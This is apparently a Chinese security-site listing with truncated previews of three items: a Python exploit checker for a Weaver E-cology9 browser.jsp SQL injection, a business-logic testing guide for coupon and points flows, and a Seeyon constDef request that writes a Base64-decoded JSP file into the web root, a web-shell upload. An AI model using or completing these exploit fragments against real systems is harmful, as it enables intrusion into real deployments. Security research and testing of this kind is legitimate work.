秃兔
泛微E-cology9 browserjsp SQL注入漏洞
import argparseimport requestsfrom termcolor import coloredimport signal requests.packages.urllib3.disable_warnings()output_file = None def check_url(url, output=None):headers = {...
【渗透文库】优惠活动/券/积分获取场景业务逻辑测试
测试描述：通过抓包工具分析优惠活动/券/积分获取场景的接口内容及工作流程，逐条实施案例验证是否存在业务逻辑漏洞。 测试标签：WEB应用安全测试 业务场景：涉及优惠活动/券/积分获取场景 测试...
致远在野constDef接囗存在代码执行漏洞
GET /seeyon/constDefdo?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22P...
